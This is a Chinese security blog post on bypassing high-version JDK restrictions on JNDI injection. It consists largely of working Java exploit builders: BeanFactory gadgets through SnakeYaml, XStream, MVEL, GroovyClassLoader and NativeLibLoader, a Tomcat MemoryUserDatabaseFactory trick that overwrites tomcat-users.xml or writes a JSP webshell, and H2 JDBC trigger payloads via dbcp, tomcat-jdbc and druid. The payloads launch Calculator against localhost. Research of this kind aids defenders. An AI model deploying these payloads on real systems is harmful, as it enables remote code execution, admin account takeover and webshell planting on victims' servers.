探索高版本 JDK 下 JNDI 漏洞的利用方法

本文首发于跳跳糖社区
https://tttang.com/archive/1405/

前言

高版本JDK在RMI和LDAP的trustURLCodebase都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。

所以修复后的JDK版本无法在不修改trustURLCodebase的情况下通过远程加载ObjectFactory类的方式去执行Java代码。

虽然无法再使用远程加载类,但绕过限制的方法也随之出现。目前公开常用的利用方法是通过Tomcat的org.apache.naming.factory.BeanFactory 工厂类去调用 javax.el.ELProcessor#eval方法或groovy.lang.GroovyShell#evaluate方法,还有通过LDAP的 javaSerializedData反序列化gadget,可以说这三种方法几乎涵盖了大部分的场景。关于这一部分内容《如何绕过高版本 JDK 的限制进行 JNDI 注入利用》讲的挺详细的。

虽然这三种方式比较常用,但还是难免会遇到特殊情况。比如系统使用的是 Tomcat7(没有ELProcessor),或是没有 groovy 依赖,又或是没有本地可用的反序列化 gadget,还有可能连 Tomcat 都没有(无法使用 BeanFactory),一般这时候有些人可能就放弃了,所以本文主要探讨一下我在遇到这种情况后研究发现的几个利用方法。

基于BeanFactory

我首先简要讲一下org.apache.naming.factory.BeanFactory的绕过原理。


EL和Groovy之所以能打是因为LDAP和RMI在收到服务端反序列化来的Reference对象后根据classFactory属性从本地classpath中实例化一个 ObjectFactory 对象,然后调用这个对象的 getObjectInstance 方法。

在Tomcat的catalina.jar中有一个org.apache.naming.factory.BeanFactory类,这个类会把Reference对象的className属性作为类名去调用无参构造方法实例化一个对象。然后再从Reference对象的Addrs参数集合中取得 AddrType 是 forceString 的 String 参数。

接着根据取到的 forceString 参数按照,逗号分割成多个要执行的方法。再按=等于号分割成 propName 和 param。

最后会根据 propName 作为方法名称去反射获取一个参数类型是 String.class的方法,并按照 param 从 Addrs 中取到的 String 对象作为参数去反射调用该方法。

而刚好javax.el.ELProcessor#evalgroovy.lang.GroovyShell#evaluate这两个方法都是可以只传一个String参数就能够执行攻击代码,且依赖库比较常见所以被经常使用。

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
        true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));

ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));
return ref;

依照上面的原理解释,这段代码得到的ResourceRef对象在JNDI客户端处理时,实际上等价于下面这段代码。

new javax.el.ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")")

我在找合适的利用类时是按照这个条件找的。

  • JDK或者常用库的类
  • 有public修饰的无参构造方法
  • public修饰的只有一个String.class类型参数的方法,且该方法可以造成漏洞

MLet

根据这个条件我找到了javax.management.loading.MLet,是 JDK 自带的。

image-20220111171752025

MLet 继承自 URLClassloader,有一个无参构造方法,还有一个 addURL(String)方法,它的父类还有一个 loadClass(String)方法。

刚好满足条件。

MLet mLet = new MLet();
mLet.addURL("http://127.0.0.1:2333/");
mLet.loadClass("Exploit");

这样就相当于是通过 URLClassloader 去远程加载类了。

但这里有一个问题,要想执行远程类的代码必须经过初始化或者实例化,单靠 ClassLoader.loadClass 无法触发 static 代码块,所以这里暂时没法 RCE。

不过我经过研究发现还可以用来进行gadget探测。例如在不知道当前Classpath存在哪些可用的gadget时,就可以通过MLet进行第一次类加载,如果类加载成功就不会影响后面访问远程类。反之如果第一次类加载失败就会抛出异常结束后面的流程,也就不会访问远程类。

private static ResourceRef tomcatMLet() {
    ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
    ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
    ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
    ref.add(new StringRefAddr("c", "Blue"));
    return ref;
}

image-20220112210141679

GroovyClassLoader

和 MLet 基本原理一样,不同于MLet的是GroovyClassLoader可以RCE,不过因为 Groovy 已经有一个 groovy.lang.GroovyShell可以用了,所以这个类并不能体现出价值。

image-20220112211250086

private static ResourceRef tomcatGroovyClassLoader() {
    ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=addClasspath,b=loadClass"));
    ref.add(new StringRefAddr("a", "http://127.0.0.1:8888/"));
    ref.add(new StringRefAddr("b", "blue"));
    return ref;
}

blue.groovy

@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")})
class Person{}

SnakeYaml

在我以往所看过的源码中依赖库使用SnakeYaml比Groovy更常见,new org.yaml.snakeyaml.Yaml().load(String)也刚好符合条件,所以还是很有价值的。

private static ResourceRef tomcat_snakeyaml(){
    ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    String yaml = "!!javax.script.ScriptEngineManager [\n" +
            "  !!java.net.URLClassLoader [[\n" +
            "    !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
            "  ]]\n" +
            "]";
    ref.add(new StringRefAddr("forceString", "a=load"));
    ref.add(new StringRefAddr("a", yaml));
    return ref;
}

image-20220112213733959

XStream

new com.thoughtworks.xstream.XStream().fromXML(String)同样符合条件。

private static ResourceRef tomcat_xstream(){
    ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
            "  <unserializable-parents/>\n" +
            "  <java.util.PriorityQueue>\n" +
            "    <default>\n" +
            "      <size>2</size>\n" +
            "    </default>\n" +
            "    <int>3</int>\n" +
            "    <dynamic-proxy>\n" +
            "      <interface>java.lang.Comparable</interface>\n" +
            "      <handler class='sun.tracing.NullProvider'>\n" +
            "        <active>true</active>\n" +
            "        <providerType>java.lang.Comparable</providerType>\n" +
            "        <probes>\n" +
            "          <entry>\n" +
            "            <method>\n" +
            "              <class>java.lang.Comparable</class>\n" +
            "              <name>compareTo</name>\n" +
            "              <parameter-types>\n" +
            "                <class>java.lang.Object</class>\n" +
            "              </parameter-types>\n" +
            "            </method>\n" +
            "            <sun.tracing.dtrace.DTraceProbe>\n" +
            "              <proxy class='java.lang.Runtime'/>\n" +
            "              <implementing__method>\n" +
            "                <class>java.lang.Runtime</class>\n" +
            "                <name>exec</name>\n" +
            "                <parameter-types>\n" +
            "                  <class>java.lang.String</class>\n" +
            "                </parameter-types>\n" +
            "              </implementing__method>\n" +
            "            </sun.tracing.dtrace.DTraceProbe>\n" +
            "          </entry>\n" +
            "        </probes>\n" +
            "      </handler>\n" +
            "    </dynamic-proxy>\n" +
            "    <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" +
            "  </java.util.PriorityQueue>\n" +
            "</java.util.PriorityQueue>";
    ref.add(new StringRefAddr("forceString", "a=fromXML"));
    ref.add(new StringRefAddr("a", xml));
    return ref;
}

image-20220112214028813

MVEL

xstream、snakeyaml 这种属于入口就符合gadget条件,而MVEL的入口org.mvel2.MVEL#eval(String)因为无参构造方法是private修饰的,所以不符合条件。

不过最终我还是找到了可以用的类。

image-20220112223915953

"help" -> {[email protected]} 
"exit" -> {[email protected]} 
"cd" -> {[email protected]} 
"set" -> {[email protected]} 
"showvars" -> {[email protected]} 
"ls" -> {[email protected]} 
"inspect" -> {[email protected]} 
"pwd" -> {[email protected]} 
"push" -> {[email protected]} 

org.mvel2.sh.ShellSession#exec(String)进入会按照内置的几个命令进行处理。

我把内置的几个命令类都看了一遍,其中发现org.mvel2.sh.command.basic.PushContext有调用MVEL.eval去解析表达式。

image-20220112224105773

那也就说明我能够通过 ShellSession.exec(String) 去执行push命令,从而解析MVEL表达式。

private static ResourceRef tomcat_MVEL(){
    ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=exec"));
    ref.add(new StringRefAddr("a",
            "push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');"));
    return ref;
}

image-20220112225050428

NativeLibLoader

com.sun.glass.utils.NativeLibLoader是JDK的类,它有一个loadLibrary(String)方法。

image-20220113002036895

它会去加载指定路径的动态链接库文件,所以只要能够通过WEB功能或者写文件gadget上传一个动态链接库就可以用com.sun.glass.utils.NativeLibLoader来加载并执行命令。

private static ResourceRef tomcat_loadLibrary(){
    ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
    ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd"));
    return ref;
}

image-20220113000634617

XXE & RCE

我通过搜索所有实现javax.naming.spi.ObjectFactory接口的类,然后挨个查看代码,其中发现了一个Tomcat的工厂类org.apache.catalina.users.MemoryUserDatabaseFactory可能会存在漏洞。

image-20220113184129936

这里会先实例化一个MemoryUserDatabase对象然后从 Reference 中取出 pathname、readonly 这两个最主要的参数并调用 setter 方法赋值。

赋值完成会先调用open()方法,如果readonly=false那就会调用save()方法。

首先来看open()方法

image-20220113184944685

XXE

这里会根据pathname去发起本地或者远程文件访问,并使用 commons-digester 解析返回的 XML 内容。那这里就可以 XXE。

image-20220113185434444

RCE

前面在解析XML的时候有这样一段代码

digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);

这里分别根据xml解析结果给 MemoryUserDatabase#groups,MemoryUserDatabase#users,MemoryUserDatabase#roles填充数据。

以 users 为例。

image-20220113185737827

首先从org.apache.catalina.users.MemoryUserCreationFactory#createObject中取出了 username,password 元素。

image-20220113190006305

然后调用org.apache.catalina.users.MemoryUserDatabase#createUser这时 MemoryUser 对象被添加到了 users 对象里,这样 users 就不是空的了。这里不能为空的原因是后面写文件内容时是从,users、groups、roles里取的。

接着看save()方法。

image-20220113190245335

进入 save()方法的主逻辑代码需要先经过 isWriteable()==true 的判断。

image-20220113190341083

这里出现了第一个问题,由于需要控制文件写入内容,所以必须要让 pathname 是一个远程URL,如果是远程URL的话这里把catalina.base+pathname 组成文件名去实例化了一个 File 对象,所以这个目录必然不存在、不是目录、不可写,也就无法通过判断。

那如果用目录跳转呢?假如 CATALINA.BASE=/usr/apache-tomcat-8.5.73/,pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml

他们组成的文件路径就是/usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/tomcat-users.xml

getParentFile 获取到的是 /usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/

在 Windows 下这样没问题,但如果是Linux系统的话,目录跳转符号前面的目录是必须存在的。

所以要解决Linux系统下的问题,必须要让 CATALINA.BASE文件夹下有/http:/REMOTE_IP/ 这个目录的存在,这就需要用到BeanFactory来执行一个可以创建目录的利用类。

我随便找了一个org.h2.store.fs.FileUtils#createDirectory(String),创建目录的gadget花点时间应该能找到很多更通用的。

image-20220113200001075

private static ResourceRef tomcatMkdirFrist() {
    ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=createDirectory"));
    ref.add(new StringRefAddr("a", "../http:"));
    return ref;
}
private static ResourceRef tomcatMkdirLast() {
    ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=createDirectory"));
    ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
    return ref;
}

因为要在 CATALINA.BASE创建目录,所以需要从工作目录CATALINA.BASE/bin 向上跳一级,分别执行 tomcatMkdirFrist 和 tomcatMkdirLast ,这样 CATALINA.BASE目录下就会创建出一个 http:目录和它的子目录127.0.0.1:8888

image-20220113200915388

当这两个目录被创建成功后,Linux环境下 isWriteable() 的校验也就通过了。

image-20220113235742512

前面这部分会先把事先在 open() 方法就解析好的 users、groups、roles都写入到 pathnameNew 这个文件里。

如果pathname是/usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/tomcat-users.xml

那pathnameNew就是/usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/tomcat-users.xml.new

image-20220114000042782

最后会把 pathnameNew 这个文件移动到 pathname。

写文件的原理摸清楚了就可以开始准备RCE,RCE的方法有两种,分别是覆盖 tomcat-users.xml 和写 webshell 。

创建Tomcat管理员

我首先在本地启动了一个8888端口,并存放了一个 conf/tomcat-users.xml 文件。

访问http://127.0.0.1:8888/conf/tomcat-users.xml效果如下

image-20220113201357425

private static ResourceRef tomcatManagerAdd() {
    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
            true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
    ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
    ref.add(new StringRefAddr("readonly", "false"));
    return ref;
}

然后只需要让JNDI返回这个ResourceRef对象,它就会先去访问 http://127.0.0.1:8888/../../conf/tomcat-users.xml然后把它覆盖到 CATALINA.BASE/conf/tomcat-users.xml

image-20220113202009830

image-20220113202257092

文件覆盖后,就可以用新账号密码去登录 Tomcat 后台了。

写 Webshell

如果 Tomcat 后台访问不了,还可以尝试写 webshell。

首先启动一个8888端口,让访问http://127.0.0.1:8888/webapps/ROOT/test.jsp能返回这样一段XML。

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;/System/Applications/Calculator.app/Contents/MacOS/Calculator&#x22;); %&#x3e;"/>
</tomcat-users>

再让 JNDI 返回这个 ResourceRef 对象就可以把 test.jsp 写入到 web 目录。

private static ResourceRef tomcatWriteFile() {
    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
            true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
    ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
    ref.add(new StringRefAddr("readonly", "false"));
    return ref;
}

image-20220113204841458

JDBC RCE

ObjectFactory 的实现类里有好几个类都是用来实例化数据源的,如果能够触发数据库连接,那就可以用 jdbc 来 RCE。参考《Make JDBC Attacks Brilliant Again》根据classpath下有哪些可用的jdbc驱动构造出对应的 payload。

dbcp

dbcp分为dbcp1和dbcp2,同时又分为 commons-dbcp 和 Tomcat 自带的 dbcp。

image-20220113220225151

进入 org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory#configureDataSource方法最后一段代码写了当 InitialSize > 0 的时候会调用 getLogWriter 方法

public PrintWriter getLogWriter() throws SQLException {
    return this.createDataSource().getLogWriter();
}

getLogWriter 会先调用 createDataSource() 也就是创建数据库连接。

private static Reference tomcat_dbcp2_RCE(){
    return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory");
}
private static Reference tomcat_dbcp1_RCE(){
    return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory");
}
private static Reference commons_dbcp2_RCE(){
    return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory");
}
private static Reference commons_dbcp1_RCE(){
    return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
    Reference ref = new Reference("javax.sql.DataSource",factory,null);
    String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
            "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
            "$$\n";
    ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
    ref.add(new StringRefAddr("url",JDBC_URL));
    ref.add(new StringRefAddr("username","root"));
    ref.add(new StringRefAddr("password","password"));
    ref.add(new StringRefAddr("initialSize","1"));
    return ref;
}

四种不同版本的 dbcp 要用不同的工厂类

如果遇到使用的不是 Tomcat 或没有 dbcp 时就可以尝试换成 commons-dbcp。

image-20220113220858430

tomcat-jdbc

如果遇到 dbcp 使用不了时,可以使用 tomcat-jdbc.jar 的 org.apache.tomcat.jdbc.pool.DataSourceFactory

private static Reference tomcat_JDBC_RCE(){
    return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
    Reference ref = new Reference("javax.sql.DataSource",factory,null);
    String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
            "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
            "$$\n";
    ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
    ref.add(new StringRefAddr("url",JDBC_URL));
    ref.add(new StringRefAddr("username","root"));
    ref.add(new StringRefAddr("password","password"));
    ref.add(new StringRefAddr("initialSize","1"));
    return ref;
}

image-20220113221900352

druid

druid可以参考《JNDI jdk高版本绕过—— Druid》,和dbcp原理一样。

private static Reference druid(){
    Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
    String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
            "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
            "$$\n";
    String JDBC_USER = "root";
    String JDBC_PASSWORD = "password";

    ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
    ref.add(new StringRefAddr("url",JDBC_URL));
    ref.add(new StringRefAddr("username",JDBC_USER));
    ref.add(new StringRefAddr("password",JDBC_PASSWORD));
    ref.add(new StringRefAddr("initialSize","1"));
    ref.add(new StringRefAddr("init","true"));
    return ref;
}

image-20220113222235995

Deserialize

看 ObjectFactory 时发现有几个类有反序列化的地方,不过没有意义,JNDI本来就能反序列化,所以这里不再做演示。

dbcp

ResourceRef ref = new ResourceRef("org.apache.commons.dbcp2.datasources.SharedPoolDataSource", null, "", "",
                true, "org.apache.commons.dbcp2.datasources.SharedPoolDataSourceFactory", null);
ref.add(new BinaryRefAddr("jndiEnvironment", Files.readAllBytes(Paths.get("calc.bin"))));

mchange-common

ResourceRef ref = new ResourceRef("java.lang.String", null, "", "", true, "com.mchange.v2.naming.JavaBeanObjectFactory", null);
ref.add(new BinaryRefAddr("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY", Files.readAllBytes(Paths.get("calc.bin"))));

hessian

LookupRef ref = new LookupRef("java.lang.String","look");
ref.add(new StringRefAddr("factory", "com.caucho.hessian.client.HessianProxyFactory"));
//com.caucho.burlap.client.BurlapProxyFactory
ref.add(new StringRefAddr("type", "java.lang.AutoCloseable"));
ref.add(new StringRefAddr("url", "http://127.0.0.1:6666/"));

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。